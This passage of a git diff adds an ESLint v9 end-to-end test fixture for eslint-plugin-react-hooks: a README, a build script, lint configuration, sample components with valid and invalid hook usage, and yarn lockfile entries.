+  integrity sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==
+  dependencies:
+    parent-module "^1.0.0"
+    resolve-from "^4.0.0"
+
+imurmurhash@^0.1.4:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
+  integrity sha1-khi5srkoojixPcT7a21XbyMUU+o=
+
+inflight@^1.0.4:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
+  integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=
+  dependencies:
+    once "^1.3.0"
+    wrappy "1"
+
+inherits@2:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
+  integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
+
+is-extglob@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
+  integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==
+
+is-glob@^4.0.0, is-glob@^4.0.3:
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084"
+  integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==
+  dependencies:
+    is-extglob "^2.1.1"
+
+is-path-inside@^3.0.3:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/is-path-inside/-/is-path-inside-3.0.3.tgz#d231362e53a07ff2b0e0ea7fed049161ffd16283"
+  integrity sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==
+
+isexe@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
+  integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==
+
+js-yaml@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-4.1.0.tgz#c1fb65f8f5017901cdd2c951864ba18458a10602"
+  integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==
+  dependencies:
+    argparse "^2.0.1"
+
+json-buffer@3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/json-buffer/-/json-buffer-3.0.1.tgz#9338802a30d3b6605fbe0613e094008ca8c05a13"
+  integrity sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==
+
+json-schema-traverse@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
+  integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
+
+json-stable-stringify-without-jsonify@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651"
+  integrity sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==
+
+keyv@^4.5.3:
+  version "4.5.4"
+  resolved "https://registry.yarnpkg.com/keyv/-/keyv-4.5.4.tgz#a879a99e29452f942439f2a405e3af8b31d4de93"
+  integrity sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==
+  dependencies:
+    json-buffer "3.0.1"
+
+levn@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/levn/-/levn-0.4.1.tgz#ae4562c007473b932a6200d403268dd2fffc6ade"
+  integrity sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==
+  dependencies:
+    prelude-ls "^1.2.1"
+    type-check "~0.4.0"
+
+locate-path@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-6.0.0.tgz#55321eb309febbc59c4801d931a72452a681d286"
+  integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==
+  dependencies:
+    p-locate "^5.0.0"
+
+lodash.merge@^4.6.2:
+  version "4.6.2"
+  resolved "https://registry.yarnpkg.com/lodash.merge/-/lodash.merge-4.6.2.tgz#558aa53b43b661e1925a0afdfa36a9a1085fe57a"
+  integrity sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==
+
+minimatch@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
+  integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==
+  dependencies:
+    brace-expansion "^1.1.7"
+
+minimatch@^3.0.5, minimatch@^3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
+  integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
+  dependencies:
+    brace-expansion "^1.1.7"
+
+ms@^2.1.3:
+  version "2.1.3"
+  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
+  integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
+
+natural-compare@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
+  integrity sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=
+
+once@^1.3.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
+  integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
+  dependencies:
+    wrappy "1"
+
+optionator@^0.9.3:
+  version "0.9.4"
+  resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.9.4.tgz#7ea1c1a5d91d764fb282139c88fe11e182a3a734"
+  integrity sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==
+  dependencies:
+    deep-is "^0.1.3"
+    fast-levenshtein "^2.0.6"
+    levn "^0.4.1"
+    prelude-ls "^1.2.1"
+    type-check "^0.4.0"
+    word-wrap "^1.2.5"
+
+p-limit@^3.0.2:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b"
+  integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==
+  dependencies:
+    yocto-queue "^0.1.0"
+
+p-locate@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-5.0.0.tgz#83c8315c6785005e3bd021839411c9e110e6d834"
+  integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==
+  dependencies:
+    p-limit "^3.0.2"
+
+parent-module@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2"
+  integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==
+  dependencies:
+    callsites "^3.0.0"
+
+path-exists@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
+  integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
+
+path-is-absolute@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
+  integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
+
+path-key@^3.1.0:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
+  integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
+
+prelude-ls@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.2.1.tgz#debc6489d7a6e6b0e7611888cec880337d316396"
+  integrity sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==
+
+punycode@^2.1.0:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
+  integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
+
+queue-microtask@^1.2.2:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243"
+  integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==
+
+resolve-from@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
+  integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
+
+reusify@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76"
+  integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==
+
+rimraf@^3.0.2:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a"
+  integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==
+  dependencies:
+    glob "^7.1.3"
+
+run-parallel@^1.1.9:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/run-parallel/-/run-parallel-1.2.0.tgz#66d1368da7bdf921eb9d95bd1a9229e7f21a43ee"
+  integrity sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==
+  dependencies:
+    queue-microtask "^1.2.2"
+
+shebang-command@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
+  integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
+  dependencies:
+    shebang-regex "^3.0.0"
+
+shebang-regex@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
+  integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
+
+strip-ansi@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
+  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+  dependencies:
+    ansi-regex "^5.0.1"
+
+strip-json-comments@^3.1.1:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006"
+  integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==
+
+supports-color@^7.1.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
+  integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
+  dependencies:
+    has-flag "^4.0.0"
+
+text-table@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
+  integrity sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==
+
+type-check@^0.4.0, type-check@~0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.4.0.tgz#07b8203bfa7056c0657050e3ccd2c37730bab8f1"
+  integrity sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==
+  dependencies:
+    prelude-ls "^1.2.1"
+
+type-fest@^0.20.2:
+  version "0.20.2"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.20.2.tgz#1bf207f4b28f91583666cb5fbd327887301cd5f4"
+  integrity sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==
+
+uri-js@^4.2.2:
+  version "4.2.2"
+  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.2.2.tgz#94c540e1ff772956e2299507c010aea6c8838eb0"
+  integrity sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==
+  dependencies:
+    punycode "^2.1.0"
+
+which@^2.0.1:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
+  integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
+  dependencies:
+    isexe "^2.0.0"
+
+word-wrap@^1.2.5:
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.5.tgz#d2c45c6dd4fbce621a66f136cbe328afd0410b34"
+  integrity sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==
+
+wrappy@1:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
+  integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
+
+yocto-queue@^0.1.0:
+  version "0.1.0"
+  resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b"
+  integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==
diff --git a/fixtures/eslint-v9/README.md b/fixtures/eslint-v9/README.md
new file mode 100644
index 000000000000..3ea521cfa890
--- /dev/null
+++ b/fixtures/eslint-v9/README.md
@@ -0,0 +1,12 @@
+# ESLint v9 Fixture
+
+This fixture allows us to test e2e functionality for `eslint-plugin-react-hooks` with eslint version 9.
+
+Run the following to test.
+
+```sh
+cd fixtures/eslint-v9
+yarn
+yarn build
+yarn lint
+```
diff --git a/fixtures/eslint-v9/build.mjs b/fixtures/eslint-v9/build.mjs
new file mode 100644
index 000000000000..e0dd355ba439
--- /dev/null
+++ b/fixtures/eslint-v9/build.mjs
@@ -0,0 +1,13 @@
+#!/usr/bin/env node
+
+import {execSync} from 'node:child_process';
+import {dirname, resolve} from 'node:path';
+import {fileURLToPath} from 'node:url';
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = dirname(__filename);
+
+execSync('yarn build -r stable eslint-plugin-react-hooks', {
+  cwd: resolve(__dirname, '..', '..'),
+  stdio: 'inherit',
+});
diff --git a/fixtures/eslint-v9/eslint.config.ts b/fixtures/eslint-v9/eslint.config.ts
new file mode 100644
index 000000000000..f7d0bddac443
--- /dev/null
+++ b/fixtures/eslint-v9/eslint.config.ts
@@ -0,0 +1,20 @@
+import {defineConfig} from 'eslint/config';
+import reactHooks from 'eslint-plugin-react-hooks';
+
+export default defineConfig([
+  reactHooks.configs.flat['recommended-latest'],
+  {
+    languageOptions: {
+      ecmaVersion: 'latest',
+      sourceType: 'module',
+      parserOptions: {
+        ecmaFeatures: {
+          jsx: true,
+        },
+      },
+    },
+    rules: {
+      'react-hooks/exhaustive-deps': 'error',
+    },
+  },
+]);
diff --git a/fixtures/eslint-v9/index.js b/fixtures/eslint-v9/index.js
new file mode 100644
index 000000000000..601b68a0328c
--- /dev/null
+++ b/fixtures/eslint-v9/index.js
@@ -0,0 +1,182 @@
+/**
+ * Exhaustive Deps
+ */
+// Valid because dependencies are declared correctly
+function Comment({comment, commentSource}) {
+  const currentUserID = comment.viewer.id;
+  const environment = RelayEnvironment.forUser(currentUserID);
+  const commentID = nullthrows(comment.id);
+  useEffect(() => {
+    const subscription = SubscriptionCounter.subscribeOnce(
+      `StoreSubscription_${commentID}`,
+      () =>
+        StoreSubscription.subscribe(
+          environment,
+          {
+            comment_id: commentID,
+          },
+          currentUserID,
+          commentSource
+        )
+    );
+    return () => subscription.dispose();
+  }, [commentID, commentSource, currentUserID, environment]);
+}
+
+// Valid because no dependencies
+function UseEffectWithNoDependencies() {
+  const local = {};
+  useEffect(() => {
+    console.log(local);
+  });
+}
+function UseEffectWithEmptyDependencies() {
+  useEffect(() => {
+    const local = {};
+    console.log(local);
+  }, []);
+}
+
+// OK because `props` wasn't defined.
+function ComponentWithNoPropsDefined() {
+  useEffect(() => {
+    console.log(props.foo);
+  }, []);
+}
+
+// Valid because props are declared as a dependency
+function ComponentWithPropsDeclaredAsDep({foo}) {
+  useEffect(() => {
+    console.log(foo.length);
+    console.log(foo.slice(0));
+  }, [foo]);
+}
+
+// Valid because individual props are declared as dependencies
+function ComponentWithIndividualPropsDeclaredAsDeps(props) {
+  useEffect(() => {
+    console.log(props.foo);
+    console.log(props.bar);
+  }, [props.bar, props.foo]);
+}
+
+// Invalid because neither props or props.foo are declared as dependencies
+function ComponentWithoutDeclaringPropAsDep(props) {
+  useEffect(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  useCallback(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  // eslint-disable-next-line react-hooks/void-use-memo
+  useMemo(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useEffect(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useCallback(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  // eslint-disable-next-line react-hooks/void-use-memo
+  React.useMemo(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.notReactiveHook(() => {
+    console.log(props.foo);
+  }, []); // This one isn't a violation
+}
+
+/**
+ * Rules of Hooks
+ */
+// Valid because functions can call functions.
+function normalFunctionWithConditionalFunction() {
+  if (cond) {
+    doSomething();
+  }
+}
+
+// Valid because hooks can call hooks.
+function useHook() {
+  useState();
+}
+const whatever = function useHook() {
+  useState();
+};
+const useHook1 = () => {
+  useState();
+};
+let useHook2 = () => useState();
+useHook2 = () => {
+  useState();
+};
+
+// Invalid because hooks can't be called in conditionals.
+function ComponentWithConditionalHook() {
+  if (cond) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useConditionalHook();
+  }
+}
+
+// Invalid because hooks can't be called in loops.
+function useHookInLoops() {
+  while (a) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook1();
+    if (b) return;
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook2();
+  }
+  while (c) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook3();
+    if (d) return;
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook4();
+  }
+}
+
+/**
+ * Compiler Rules
+ */
+// Invalid: component factory
+function InvalidComponentFactory() {
+  const DynamicComponent = () => <div>Hello</div>;
+  // eslint-disable-next-line react-hooks/static-components
+  return <DynamicComponent />;
+}
+
+// Invalid: mutating globals
+function InvalidGlobals() {
+  // eslint-disable-next-line react-hooks/immutability
+  window.myGlobal = 42;
+  return <div>Done</div>;
+}
+
+// Invalid: useMemo with wrong deps
+function InvalidUseMemo({items}) {
+  // eslint-disable-next-line react-hooks/exhaustive-deps
+  const sorted = useMemo(() => [...items].sort(), []);
+  return <div>{sorted.length}</div>;
+}
+
+// Invalid: missing/extra deps in useEffect
+function InvalidEffectDeps({a, b}) {
+  useEffect(() => {
+    console.log(a);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+
+  useEffect(() => {
+    console.log(a);
+    // TODO: eslint-disable-next-line react-hooks/exhaustive-effect-dependencies
+  }, [a, b]);
+}
diff --git a/fixtures/eslint-v9/package.json b/fixtures/eslint-v9/package.json
new file mode 100644
index 000000000000..e5c111bd4cc1
--- /dev/null
+++ b/fixtures/eslint-v9/package.json
@@ -0,0 +1,16 @@
+{
+  "private": true,
+  "name": "eslint-v9",
+  "dependencies": {
+    "eslint": "^9.33.0",
+    "eslint-plugin-react-hooks": "link:../../build/oss-stable/eslint-plugin-react-hooks",
+    "jiti": "^2.4.2"
+  },
+  "scripts": {
+    "build": "node build.mjs && yarn",
+    "lint": "tsc --noEmit && eslint index.js --report-unused-disable-directives"
+  },
+  "devDependencies": {
+    "typescript": "^5.4.3"
+  }
+}
diff --git a/fixtures/eslint-v9/tsconfig.json b/fixtures/eslint-v9/tsconfig.json
new file mode 100644
index 000000000000..b81887fc175b
--- /dev/null
+++ b/fixtures/eslint-v9/tsconfig.json
@@ -0,0 +1,20 @@
+{
+  "compilerOptions": {
+    "lib": [
+      "es2022"
+    ],
+    "module": "nodenext",
+    "moduleResolution": "nodenext",
+    "target": "es2022",
+    "typeRoots": [
+      "./node_modules/@types"
+    ],
+    "skipLibCheck": true
+  },
+  "exclude": [
+    "node_modules",
+    "**/node_modules",
+    "../node_modules",
+    "../../node_modules"
+  ]
+}
diff --git a/fixtures/eslint-v9/yarn.lock b/fixtures/eslint-v9/yarn.lock
new file mode 100644
index 000000000000..964edad82234
--- /dev/null
+++ b/fixtures/eslint-v9/yarn.lock
@@ -0,0 +1,900 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@babel/code-frame@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.27.1.tgz#200f715e66d52a23b221a9435534a91cc13ad5be"
+  integrity sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.27.1"
+    js-tokens "^4.0.0"
+    picocolors "^1.1.1"
+
+"@babel/compat-data@^7.27.2":
+  version "7.28.4"
+  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.28.4.tgz#96fdf1af1b8859c8474ab39c295312bfb7c24b04"
+  integrity sha512-YsmSKC29MJwf0gF8Rjjrg5LQCmyh+j/nD8/eP7f+BeoQTKYqs9RoWbjGOdy0+1Ekr68RJZMUOPVQaQisnIo4Rw==
+
+"@babel/core@^7.24.4":
+  version "7.28.4"
+  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.28.4.tgz#12a550b8794452df4c8b084f95003bce1742d496"
+  integrity sha512-2BCOP7TN8M+gVDj7/ht3hsaO/B/n5oDbiAyyvnRlNOs+u1o+JWNYTQrmpuNp1/Wq2gcFrI01JAW+paEKDMx/CA==
+  dependencies:
+    "@babel/code-frame" "^7.27.1"
+    "@babel/generator" "^7.28.3"
+    "@babel/helper-compilation-targets" "^7.27.2"
+    "@babel/helper-module-transforms" "^7.28.3"
+    "@babel/helpers" "^7.28.4"
+    "@babel/parser" "^7.28.4"
+    "@babel/template" "^7.27.2"
+    "@babel/traverse" "^7.28.4"
+    "@babel/types" "^7.28.4"
+    "@jridgewell/remapping" "^2.3.5"
+    convert-source-map "^2.0.0"
+    debug "^4.1.0"
+    gensync "^1.0.0-beta.2"
+    json5 "^2.2.3"
+    semver "^6.3.1"
+
+"@babel/generator@^7.28.3":
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.28.3.tgz#9626c1741c650cbac39121694a0f2d7451b8ef3e"
+  integrity sha512-3lSpxGgvnmZznmBkCRnVREPUFJv2wrv9iAoFDvADJc0ypmdOxdUtcLeBgBJ6zE0PMeTKnxeQzyk0xTBq4Ep7zw==
+  dependencies:
+    "@babel/parser" "^7.28.3"
+    "@babel/types" "^7.28.2"
+    "@jridgewell/gen-mapping" "^0.3.12"
+    "@jridgewell/trace-mapping" "^0.3.28"
+    jsesc "^3.0.2"
+
+"@babel/helper-compilation-targets@^7.27.2":
+  version "7.27.2"
+  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz#46a0f6efab808d51d29ce96858dd10ce8732733d"
+  integrity sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==
+  dependencies:
+    "@babel/compat-data" "^7.27.2"
+    "@babel/helper-validator-option" "^7.27.1"
+    browserslist "^4.24.0"
+    lru-cache "^5.1.1"
+    semver "^6.3.1"
+
+"@babel/helper-globals@^7.28.0":
+  version "7.28.0"
